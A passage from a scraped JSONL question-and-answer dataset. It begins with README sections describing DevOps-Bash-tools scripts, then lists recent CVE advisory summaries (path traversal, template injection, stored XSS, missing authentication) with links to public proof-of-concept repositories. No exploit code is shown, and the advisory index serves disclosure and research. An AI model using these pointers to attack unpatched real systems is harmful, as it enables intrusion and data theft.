[Jenkins CI](https://jenkins.io/) scripts:\n  - `jenkins.sh` - one-touch [Jenkins CI](https://jenkins.io/):\n    - launches Docker container\n    - installs plugins\n    - validates `Jenkinsfile`\n    - configures job from `$PWD/setup/jenkins-job.xml`\n    - sets Pipeline to git remote origin's `Jenkinsfile`\n    - triggers build\n    - tails results in terminal\n    - call from any repo top level directory with a `Jenkinsfile` pipeline and `setup/jenkins-job.xml` (all mine have it)\n  - `jenkins_api.sh` - queries the Jenkins Rest API, handles authentication, pre-fetches CSFR protection token crumb, supports many environment variables such as `$JENKINS_URL` for ease of use\n    - `jenkins_jobs.sh` - lists Jenkins jobs (pipelines)\n    - `jenkins_foreach_job.sh` - runs a templated command for each Jenkins job\n    - `jenkins_jobs_download_configs.sh` - downloads all Jenkins job configs to xml files of the same name\n    - `jenkins_job_config.sh` - gets or sets a Jenkins job's config\n    - `jenkins_job_description.sh` - gets or sets a Jenkins job's description\n    - `jenkins_job_enable.sh` - enables a Jenkins job by name\n    - `jenkins_job_disable.sh` - disables a Jenkins job by name\n    - `jenkins_job_trigger.sh` - triggers a Jenkins job by name\n    - `jenkins_job_trigger_with_params.sh` - triggers a Jenkins job with parameters which can be passed as `--data KEY=VALUE`\n    - `jenkins_jobs_enable.sh` - enables all Jenkins jobs/pipelines with names matching a given regex\n    - `jenkins_jobs_disable.sh` - disables all Jenkins jobs/pipelines with names matching a given regex\n    - `jenkins_builds.sh` - lists Jenkins latest builds for every job\n    - `jenkins_cred_add_cert.sh` - creates a Jenkins certificate credential from a PKCS#12 keystore\n    - `jenkins_cred_add_kubernetes_sa.sh` -", "tags": ["HariSekhon"], "source": "github_gists", "category": "HariSekhon", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7966, "answer_score": 10, "has_code": true, "url": "https://github.com/HariSekhon/DevOps-Bash-tools", "collected_at": "2026-01-17T08:20:53.880116"}
{"id": "gh_35b224b92bfb", "question": "How to: AI & IPaaS", "question_body": "About HariSekhon/DevOps-Bash-tools", "answer": "`ai/` and `ipaas/` directories:\n\n- `openai_api.sh` - queries the [OpenAI](https://openai.com/) (ChatGPT) API with authentication\n- `make_api.sh` - queries the [Make.com](https://www.make.com) API with authentication", "tags": ["HariSekhon"], "source": "github_gists", "category": "HariSekhon", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 7966, "answer_score": 10, "has_code": false, "url": "https://github.com/HariSekhon/DevOps-Bash-tools", "collected_at": "2026-01-17T08:20:53.880123"}
{"id": "gh_f3d75c0402e9", "question": "How to: Internet Services", "question_body": "About HariSekhon/DevOps-Bash-tools", "answer": "`internet/`, `cloudflare/`, `pingdom/`, `terraform/` directories:\n\n- Pastebins - uploads files and copies the resulting URL to your clipboard:\n  - code / text only - prompts to approve text / code before upload for safety:\n    - `pastebin.sh` - uploads a file to\n, script auto-determines which syntax highlighting to add since API doesn't auto infer\n    - `dpaste.sh` - uploads a file to\n, script auto-determines which syntax highlighting to add since API doesn't auto infer\n    - `termbin.sh` - uploads a file to\n(site has no syntax highlighting)\n  - all files, multimedia or text / code - prompts to approve text / code before upload for safety:\n    - `0x0.sh` - uploads a file to\n(fast)\n    - `imgur.sh` - uploads an image file to\n- `file.io.sh` - uploads a file to\nwith 2 weeks, single download retention\n    - `catbox.sh` - uploads a file to\nwith permanent retention (slow)\n    - `litterbox.sh` - uploads a file to\nwith temporary retention (slow)\n- `digital_ocean_api.sh` / `doapi.sh` - queries the [Digital Ocean](https://www.digitalocean.com/) API with authentication\n  - see also the Digital Ocean CLI `doctl` (`install/install_doctl.sh`)\n- `atlassian_ip_ranges.sh` - lists [Atlassian](https://www.atlassian.com/)'s IPv4 and/or IPv6 cidr ranges via its API\n- `circleci_public_ips.sh` - lists [CircleCI](https://circleci.com) public IP addresses via dnsjson.com\n- `cloudflare_*.sh` - [Cloudflare](https://www.cloudflare.com/) API queries and reports:\n  - `cloudflare_api.sh` - queries the Cloudflare API with authentication\n  - `cloudflare_ip_ranges.sh` - lists Cloudflare's IPv4 and/or IPv6 cidr ranges via its API\n  - `cloudflare_custom_certificates.sh` - lists any custom SSL certificates in a given Cloudflare zone along with their status and expiry date\n  - `cloudflare_dns_records.sh` - lists any Cloudflare DNS records for a zone, including the type and ttl\n  - `cloudflare_dns_records_all_zones.sh` - same as above but for all zones\n  - `cloudflare_dns_record_create.sh` - creates a DNS record in the given domain\n  - `cloudflare_dns_record_update.sh` - updates a DNS record in the given domain\n  - `cloudflare_dns_record_delete.sh` - deletes a DNS record in the given domain\n  - `cloudflare_dns_record_details.sh` - lists the details for a DNS record in the given domain in JSON format for further pipe processing\n  - `cloudflare_dnssec.sh` - lists the Cloudflare DNSSec status for all zones\n  - `cloudflare_firewall_rules.sh` - lists Cloudflare Firewall rules, optionally with filter expression\n  - `cloudflare_firewall_access_rules.sh` - lists Cloudflare Firewall Access rules, optionally with filter expression\n  - `cloudflare_foreach_account.sh` - executes a templated command for each Cloudflare account, replacing the `{account_id}` and `{account_name}` in each iteration (useful for chaining with `cloudflare_api.sh`)\n  - `cloudflare_foreach_zone.sh` - executes a templated command for each Cloudflare zone, replacing the `{zone_id}` and `{zone_name}` in each iteration (useful for chaining with `cloudflare_api.sh`, used by adjacent `cloudflare_*_all_zones.sh` scripts)\n  - `cloudflare_purge_cache.sh` - purges the entire Cloudflare cache\n  - `cloudflare_ssl_verified.sh` - gets the Cloudflare zone SSL verification status for a given zone\n  - `cloudflare_ssl_verified_all_zones.sh` - same as above for all zones\n  - `cloudflare_zones.sh` - lists Cloudflare zone names and IDs (needed for writing Terraform Cloudflare code)\n- `datadog_api.sh` - queries the [DataDog](https://www.datadoghq.com/) API with authentication\n- `dnsjson.sh` - queries dnsjson.com for DNS records\n- `domains_subdomains_environments.sh` - for a given list of domains, deduplicate and print dev / staging subdomains as well as root domain for prod. Used to generate a whole bunch of Ad Tech domains and pixel tracker subdomains for a project. Combine with `markdown_columns_to_table.sh` to generate the markdown documentation for your domains and subomains per project and environment\n- `gitguardian_api.sh` - queries the [GitGuardian](https://www.gitguardian.com/) API with authentication\n- `google_maps_link.sh` - queries for a search string, returns the first hit and then generates a stable fixed place ID url to the result. Useful for sharing in documentation links to places like [HariSekhon/Knowledge-Base](https://github.com/HariSekhon/Knowledge-Base) Travel pages\n- `jira_api.sh` - queries [Jira](https://www.atlassian.com/software/jira) API with authentication\n- `kong_api.sh` - queries the [Kong API Gateway](https://docs.konghq.com/gateway/latest/)'s Admin API, handling authentication if enabled\n- `traefik_api.sh` - queries the [Traefik](https://traefik.io/) API, handling authentication if enabled\n- `ngrok_api.sh` - queries the [NGrok](https://ngrok.com/) API with authentication\n- `pingdom_*.sh` - [Pingdom](h", "tags": ["HariSekhon"], "source": "github_gists", "category": "HariSekhon", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7966, "answer_score": 10, "has_code": true, "url": "https://github.com/HariSekhon/DevOps-Bash-tools", "collected_at": "2026-01-17T08:20:53.880137"}
{"id": "gh_f5b7ae2d4705", "question": "How to: More Linux & Mac", "question_body": "About HariSekhon/DevOps-Bash-tools", "answer": "`bin/`, `install/`, `packages/`, `setup/` directories:\n\n- [Linux](https://en.wikipedia.org/wiki/Linux) / [Mac](https://en.wikipedia.org/wiki/MacOS) systems administration scripts:\n  - `install/` - installation scripts for various OS packages (RPM, Deb, Apk) for various Linux distros ([Redhat RHEL](https://www.redhat.com/en/technologies/linux-platforms/enterprise-linux) / [CentOS](https://www.centos.org/) / [Fedora](https://getfedora.org/), [Debian](https://www.debian.org/) / [Ubuntu](https://ubuntu.com/), [Alpine](https://alpinelinux.org/))\n  - install if absent scripts for Python, Perl, Ruby, NodeJS and Golang packages - good for minimizing the number of source code installs by first running the OS install scripts and then only building modules which aren't already detected as installed (provided by system packages), speeding up builds and reducing the likelihood of compile failures\n  - install scripts for tarballs, Golang binaries, random 3rd party installers, [Jython](https://www.jython.org/) and build tools like [Gradle](https://gradle.org/) and [SBT](https://www.scala-sbt.org/) for when Linux distros don't provide packaged versions or where the packaged versions are too old\n  - `packages/` - OS / Distro Package Management:\n    - `install_packages.sh` - installs package lists from arguments, files or stdin on major linux distros and Mac, detecting the package manager and invoking the right install commands, with `sudo` if not root. Works on [RHEL](https://www.redhat.com/en) / [CentOS](https://www.centos.org/) / [Fedora](https://getfedora.org/), [Debian](https://www.debian.org/) / [Ubuntu](https://ubuntu.com/), [Alpine](https://alpinelinux.org/), and [Mac Homebrew](https://brew.sh/). Leverages and supports all features of the distro / OS specific install scripts listed below\n    - `install_packages_if_absent.sh` - installs package lists if they're not already installed, saving time and minimizing install logs / CI logs, same support list as above\n    - Redhat RHEL / CentOS:\n      - `yum_install_packages.sh` / `yum_remove_packages.sh` - installs RPM lists from arguments, files or stdin. Handles Yum + Dnf behavioural differences, calls `sudo` if not root, auto-attempts variations of python/python2/python3 package names. Avoids yum slowness by checking if rpm is installed before attempting to install it, accepts `NO_FAIL=1` env var to ignore unavailable / changed package names (useful for optional packages or attempts for different package names across RHEL/CentOS/Fedora versions)\n      - `yum_install_packages_if_absent.sh` - installs RPMs only if not already installed and not a metapackage provided by other packages (eg. `vim` metapackage provided by `vim-enhanced`), saving time and minimizing install logs / CI logs, plus all the features of `yum_install_packages.sh` above\n      - `rpms_filter_installed.sh` / `rpms_filter_not_installed.sh` - pipe filter packages that are / are not installed for easy script piping\n    - Debian / Ubuntu:\n      - `apt_install_packages.sh` / `apt_remove_packages.sh` - installs Deb package lists from arguments, files or stdin. Auto calls `sudo` if not root, accepts `NO_FAIL=1` env var to ignore unavailable / changed package names (useful for optional packages or attempts for different package names across Debian/Ubuntu distros/versions)\n      - `apt_install_packages_if_absent.sh` - installs Deb packages only if not already installed, saving time and minimizing install logs / CI logs, plus all the features of `apt_install_packages.sh` above\n      - `apt_wait.sh` - blocking wait on concurrent apt locks to avoid failures and continue when available, mimicking yum's waiting behaviour rather than error'ing out\n      - `debs_filter_installed.sh` / `debs_filter_not_installed.sh` - pipe filter packages that are / are not installed for easy script piping\n    - Alpine:\n      - `apk_install_packages.sh` / `apk_remove_packages.sh` - installs Alpine apk package lists from arguments, files or stdin. Auto calls `sudo` if not root, accepts `NO_FAIL=1` env var to ignore unavailable / changed package names (useful for optional packages or attempts for different package names across Alpine versions)\n      - `apk_install_packages_if_absent.sh` - installs Alpine apk packages only if not already installed, saving time and minimizing install logs / CI logs, plus all the features of `apk_install_packages.sh` above\n      - `apk_filter_installed.sh` / `apk_filter_not_installed.sh` - pipe filter packages that are / are not installed for easy script piping\n    - Mac:\n      - `brew_install_packages.sh` / `brew_remove_packages.sh` - installs Mac Hombrew package lists from arguments, files or stdin. Accepts `NO_FAIL=1` env var to ignore unavailable / changed package names (useful for optional packages or attempts for different package names across versions)\n      - `brew_install_packages_if_absent.sh` - installs Mac Homebrew packages only if not already installed, saving time and minimizing install logs / CI", "tags": ["HariSekhon"], "source": "github_gists", "category": "HariSekhon", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7966, "answer_score": 10, "has_code": true, "url": "https://github.com/HariSekhon/DevOps-Bash-tools", "collected_at": "2026-01-17T08:20:53.880159"}
{"id": "gh_e50d19db1a5b", "question": "How to: Builds, Languages & Linting", "question_body": "About HariSekhon/DevOps-Bash-tools", "answer": "`bin/`, `checks/`, `cicd/` or language specific directories:\n\n- `lint.sh` - lints one or more files, auto-determines the file types, parses lint headers and calls appropriate scripts and tools. Integrated with my custom `.vimrc`\n- `run.sh` - runs one or more files, auto-determines the file types, any run or arg headers and executes each file using the appropriate script or CLI tool. Integrated with my custom `.vimrc`\n- `check_*.sh` - extensive collection of generalized tests - these run against all my GitHub repos via [CI](https://harisekhon.github.io/CI-CD/). Some examples:\n\n  - Programming language linting:\n\n    - [Python](https://www.python.org/) (syntax, pep8, byte-compiling, reliance on asserts which can be disabled at runtime, except/pass etc.)\n    - [Perl](https://www.perl.org/)\n    - [Java](https://www.java.com/en/)\n    - [Scala](https://www.scala-lang.org/)\n    - [Ruby](https://www.ruby-lang.org/en/)\n    - [Bash](https://www.gnu.org/software/bash/) / Shell\n    - Misc (whitespace, custom code checks etc.)\n\n  - Build System, Docker & CI linting:\n\n    - [Make](https://www.gnu.org/software/make/)\n    - [Maven](https://maven.apache.org/)\n    - [SBT](https://www.scala-sbt.org/)\n    - [Gradle](https://gradle.org/)\n    - [Travis CI](https://travis-ci.org/)\n    - [Circle CI](https://circleci.com/)\n    - [GitLab CI](https://docs.gitlab.com/ee/ci/)\n    - [Concourse CI](https://concourse-ci.org/)\n    - [Codefresh CI](https://codefresh.io/)\n    - [Dockerfiles](https://docs.docker.com/engine/reference/builder/)\n    - [Docker Compose](https://docs.docker.com/compose/)\n    - [Vagrantfiles](https://www.vagrantup.com/docs/vagrantfile)", "tags": ["HariSekhon"], "source": "github_gists", "category": "HariSekhon", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7966, "answer_score": 10, "has_code": true, "url": "https://github.com/HariSekhon/DevOps-Bash-tools", "collected_at": "2026-01-17T08:20:53.880168"}
{"id": "gh_089973671706", "question": "How to: Individual Setup Parts", "question_body": "About HariSekhon/DevOps-Bash-tools", "answer": "Optional, only if you don't do the full `make install`.\n\nInstall only OS system package dependencies and [AWS CLI](https://aws.amazon.com/cli/) via Python Pip (doesn't symlink anything to `$HOME`):\n\n```shell\nmake\n```\n\nAdds sourcing to `.bashrc` and `.bash_profile` and symlinks dot config files to `$HOME` (doesn't install OS system package dependencies):\n\n```shell\nmake link\n```\n\nundo via\n\n```shell\nmake unlink\n```\n\nInstall only OS system package dependencies (doesn't include [AWS CLI](https://aws.amazon.com/cli/) or Python packages):\n\n```shell\nmake system-packages\n```\n\nInstall [AWS CLI](https://aws.amazon.com/cli/):\n\n```shell\nmake aws\n```\n\nInstall [Azure CLI](https://docs.microsoft.com/en-us/cli/azure/):\n\n```shell\nmake azure\n```\n\nInstall [GCP GCloud SDK](https://cloud.google.com/sdk) (includes CLI):\n\n```shell\nmake gcp\n```\n\nInstall [GCP GCloud Shell](https://cloud.google.com/shell) environment (sets up persistent OS packages and all home directory configs):\n\n```shell\nmake gcp-shell\n```\n\nInstall generically useful Python CLI tools and modules (includes [AWS CLI](https://aws.amazon.com/cli/), autopep8 etc):\n\n```shell\nmake python\n```", "tags": ["HariSekhon"], "source": "github_gists", "category": "HariSekhon", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7966, "answer_score": 10, "has_code": true, "url": "https://github.com/HariSekhon/DevOps-Bash-tools", "collected_at": "2026-01-17T08:20:53.880175"}
{"id": "gh_3680913ce76f", "question": "How to: Star History", "question_body": "About HariSekhon/DevOps-Bash-tools", "answer": "[![Star History Chart](https://api.star-history.com/svg?repos=HariSekhon/DevOps-Bash-tools&type=Date)](https://star-history.com/#HariSekhon/DevOps-Bash-tools&Date)\n\n[git.io/bash-tools](https://git.io/bash-tools)", "tags": ["HariSekhon"], "source": "github_gists", "category": "HariSekhon", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 7966, "answer_score": 10, "has_code": false, "url": "https://github.com/HariSekhon/DevOps-Bash-tools", "collected_at": "2026-01-17T08:20:53.880185"}
{"id": "gh_d7123ff4c478", "question": "How to: DevOps Code", "question_body": "About HariSekhon/DevOps-Bash-tools", "answer": "[![DevOps-Bash-tools](https://github-readme-stats-fast.vercel.app/api/pin/?username=HariSekhon&repo=DevOps-Bash-tools&theme=ambient_gradient&description_lines_count=3)](https://github.com/HariSekhon/DevOps-Bash-tools)\n[![DevOps-Python-tools](https://github-readme-stats-fast.vercel.app/api/pin/?username=HariSekhon&repo=DevOps-Python-tools&theme=ambient_gradient&description_lines_count=3)](https://github.com/HariSekhon/DevOps-Python-tools)\n[![DevOps-Perl-tools](https://github-readme-stats-fast.vercel.app/api/pin/?username=HariSekhon&repo=DevOps-Perl-tools&theme=ambient_gradient&description_lines_count=3)](https://github.com/HariSekhon/DevOps-Perl-tools)\n[![DevOps-Golang-tools](https://github-readme-stats-fast.vercel.app/api/pin/?username=HariSekhon&repo=DevOps-Golang-tools&theme=ambient_gradient&description_lines_count=3)](https://github.com/HariSekhon/DevOps-Golang-tools)", "tags": ["HariSekhon"], "source": "github_gists", "category": "HariSekhon", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7966, "answer_score": 10, "has_code": false, "url": "https://github.com/HariSekhon/DevOps-Bash-tools", "collected_at": "2026-01-17T08:20:53.880192"}
{"id": "gh_04cbefd068a0", "question": "How to: Containerization", "question_body": "About HariSekhon/DevOps-Bash-tools", "answer": "[![Kubernetes-configs](https://github-readme-stats-fast.vercel.app/api/pin/?username=HariSekhon&repo=Kubernetes-configs&theme=ambient_gradient&description_lines_count=3)](https://github.com/HariSekhon/Kubernetes-configs)\n[![Dockerfiles](https://github-readme-stats-fast.vercel.app/api/pin/?username=HariSekhon&repo=Dockerfiles&theme=ambient_gradient&description_lines_count=3)](https://github.com/HariSekhon/Dockerfiles)", "tags": ["HariSekhon"], "source": "github_gists", "category": "HariSekhon", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 7966, "answer_score": 10, "has_code": false, "url": "https://github.com/HariSekhon/DevOps-Bash-tools", "collected_at": "2026-01-17T08:20:53.880196"}
{"id": "gh_53f29d2b2791", "question": "How to: Databases - DBA - SQL", "question_body": "About HariSekhon/DevOps-Bash-tools", "answer": "[![SQL-scripts](https://github-readme-stats-fast.vercel.app/api/pin/?username=HariSekhon&repo=SQL-scripts&theme=ambient_gradient&description_lines_count=3)](https://github.com/HariSekhon/SQL-scripts)", "tags": ["HariSekhon"], "source": "github_gists", "category": "HariSekhon", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7966, "answer_score": 10, "has_code": false, "url": "https://github.com/HariSekhon/DevOps-Bash-tools", "collected_at": "2026-01-17T08:20:53.880201"}
{"id": "gh_873e9d18f0ed", "question": "How to: DevOps Reloaded", "question_body": "About HariSekhon/DevOps-Bash-tools", "answer": "[![HAProxy-configs](https://github-readme-stats-fast.vercel.app/api/pin/?username=HariSekhon&repo=HAProxy-configs&theme=ambient_gradient&description_lines_count=3)](https://github.com/HariSekhon/HAProxy-configs)\n[![Terraform](https://github-readme-stats-fast.vercel.app/api/pin/?username=HariSekhon&repo=Terraform&theme=ambient_gradient&description_lines_count=3)](https://github.com/HariSekhon/Terraform)\n[![Packer](https://github-readme-stats-fast.vercel.app/api/pin/?username=HariSekhon&repo=Packer&theme=ambient_gradient&description_lines_count=3)](https://github.com/HariSekhon/Packer)\n[![Ansible](https://github-readme-stats-fast.vercel.app/api/pin/?username=HariSekhon&repo=Ansible&theme=ambient_gradient&description_lines_count=3)](https://github.com/HariSekhon/Ansible)\n[![Environments](https://github-readme-stats-fast.vercel.app/api/pin/?username=HariSekhon&repo=Environments&theme=ambient_gradient&description_lines_count=3)](https://github.com/HariSekhon/Environments)", "tags": ["HariSekhon"], "source": "github_gists", "category": "HariSekhon", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7966, "answer_score": 10, "has_code": false, "url": "https://github.com/HariSekhon/DevOps-Bash-tools", "collected_at": "2026-01-17T08:20:53.880206"}
{"id": "gh_f03538594e66", "question": "How to: CVE-2026-0628 (2026-01-06)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nInsufficient policy enforcement in WebView tag in Google Chrome prior to 143.0.7499.192 allowed an attacker who convinced a user to install a malicious extension to inject scripts or HTML into a privileged page via a crafted Chrome Extension. (Chromium security severity: High)\n```\n- [fevar54/CVE-2026-0628-POC](https://github.com/fevar54/CVE-2026-0628-POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152478"}
{"id": "gh_a0ee29e7cae7", "question": "How to: CVE-2026-0842 (2026-01-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA flaw has been found in Flycatcher Toys smART Sketcher up to 2.0. This affects an unknown part of the component Bluetooth Low Energy Interface. This manipulation causes missing authentication. The attack can only be done within the local network. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n```\n- [davidrxchester/smart-sketcher-upload](https://github.com/davidrxchester/smart-sketcher-upload)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152493"}
{"id": "gh_c35e7c1804c7", "question": "How to: CVE-2026-666", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [adriangigliotti/CVE-2026-666](https://github.com/adriangigliotti/CVE-2026-666)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152499"}
{"id": "gh_8bec31db0dba", "question": "How to: CVE-2026-5000", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [Perl-Code/CVE-2026-5000](https://github.com/Perl-Code/CVE-2026-5000)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152503"}
{"id": "gh_d1744401e0db", "question": "How to: CVE-2026-20805 (2026-01-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nExposure of sensitive information to an unauthorized actor in Desktop Windows Manager allows an authorized attacker to disclose information locally.\n```\n- [fevar54/CVE-2026-20805-POC](https://github.com/fevar54/CVE-2026-20805-POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152508"}
{"id": "gh_8eb6ea8d9f33", "question": "How to: CVE-2026-20856 (2026-01-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper input validation in Windows Server Update Service allows an unauthorized attacker to execute code over a network.\n```\n- [b1gchoi/poc-CVE-2026-20856](https://github.com/b1gchoi/poc-CVE-2026-20856)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152512"}
{"id": "gh_7b72cf112f96", "question": "How to: CVE-2026-21436 (2026-01-01)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\neopkg is a Solus package manager implemented in python3. In versions prior to 4.4.0, a malicious package could escape the directory set by `--destdir`. This requires the installation of a package from a malicious or compromised source. Files in such packages would not be installed in the path given by `--destdir`, but on a different location on the host. The issue has been fixed in v4.4.0. Users only installing packages from the Solus repositories are not affected.\n```\n- [osmancanvural/CVE-2026-21436](https://github.com/osmancanvural/CVE-2026-21436)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152518"}
{"id": "gh_404fe07a3917", "question": "How to: CVE-2026-21437 (2026-01-01)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\neopkg is a Solus package manager implemented in python3. In versions prior to 4.4.0, a malicious package could include files that are not tracked by `eopkg`. This requires the installation of a package from a malicious or compromised source. Files in such packages would not be shown by `lseopkg` and related tools. The issue has been fixed in v4.4.0. Users only installing packages from the Solus repositories are not affected.\n```\n- [osmancanvural/CVE-2026-21437](https://github.com/osmancanvural/CVE-2026-21437)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152523"}
{"id": "gh_6cdc2e6729bc", "question": "How to: CVE-2026-21440 (2026-01-02)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAdonisJS is a TypeScript-first web framework. A Path Traversal vulnerability in AdonisJS multipart file handling may allow a remote attacker to write arbitrary files to arbitrary locations on the server filesystem. This impacts @adonisjs/bodyparser through version 10.1.1 and 11.x prerelease versions prior to 11.0.0-next.6. This issue has been patched in @adonisjs/bodyparser versions 10.1.2 and 11.0.0-next.6.\n```\n- [Ashwesker/Ashwesker-CVE-2026-21440](https://github.com/Ashwesker/Ashwesker-CVE-2026-21440)\n- [you-ssef9/CVE-2026-21440](https://github.com/you-ssef9/CVE-2026-21440)\n- [k0nnect/cve-2026-21440-writeup-poc](https://github.com/k0nnect/cve-2026-21440-writeup-poc)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152528"}
{"id": "gh_a39b120d0970", "question": "How to: CVE-2026-21445 (2026-01-02)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nLangflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.0.dev45, multiple critical API endpoints in Langflow are missing authentication controls. The issue allows any unauthenticated user to access sensitive user conversation data, transaction histories, and perform destructive operations including message deletion. This affects endpoints handling personal data and system operations that should require proper authorization. Version 1.7.0.dev45 contains a patch.\n```\n- [chinaxploiter/CVE-2026-21445-PoC](https://github.com/chinaxploiter/CVE-2026-21445-PoC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152533"}
{"id": "gh_871896b05115", "question": "How to: CVE-2026-21450 (2026-01-02)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nBagisto is an open source laravel eCommerce platform. Versions prior to 2.3.10 are vulnerable to server-side template injection via type parameter, which can lead to remote code execution or another exploitation. Version 2.3.10 fixes the issue.\n```\n- [Ashwesker/Ashwesker-CVE-2026-21450](https://github.com/Ashwesker/Ashwesker-CVE-2026-21450)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152538"}
{"id": "gh_85a086baec7c", "question": "How to: CVE-2026-21451 (2026-01-02)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nBagisto is an open source laravel eCommerce platform. A stored Cross-Site Scripting (XSS) vulnerability exists in Bagisto prior to version 2.3.10 within the CMS page editor. Although the platform normally attempts to sanitize `<script>` tags, the filtering can be bypassed by manipulating the raw HTTP POST request before submission. As a result, arbitrary JavaScript can be stored in the CMS content and executed whenever the page is viewed or edited. This exposes administrators to a high-severity risk, including complete account takeover, backend hijacking, and malicious script execution. Version 2.3.10 fixes the issue.\n```\n- [Ashwesker/Ashwesker-CVE-2026-21451](https://github.com/Ashwesker/Ashwesker-CVE-2026-21451)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152543"}
{"id": "gh_51a6431ea32e", "question": "How to: CVE-2026-21858 (2026-01-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nn8n is an open source workflow automation platform. Versions starting with 1.65.0 and below 1.121.0 enable an attacker to access files on the underlying server through execution of certain form-based workflows. A vulnerable workflow could grant access to an unauthenticated remote attacker, resulting in exposure of sensitive information stored on the system and may enable further compromise depending on deployment configuration and workflow usage. This issue is fixed in version 1.121.0.\n```\n- [eduardorossi84/CVE-2026-21858-POC](https://github.com/eduardorossi84/CVE-2026-21858-POC)\n- [Chocapikk/CVE-2026-21858](https://github.com/Chocapikk/CVE-2026-21858)\n- [Ashwesker/Ashwesker-CVE-2026-21858](https://github.com/Ashwesker/Ashwesker-CVE-2026-21858)\n- [cropnet/ni8mare-scanner](https://github.com/cropnet/ni8mare-scanner)\n- [sastraadiwiguna-purpleeliteteaming/SASTRA-ADI-WIGUNA-CVE-2026-21858-Holistic-Audit](https://github.com/sastraadiwiguna-purpleeliteteaming/SASTRA-ADI-WIGUNA-CVE-2026-21858-Holistic-Audit)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152549"}
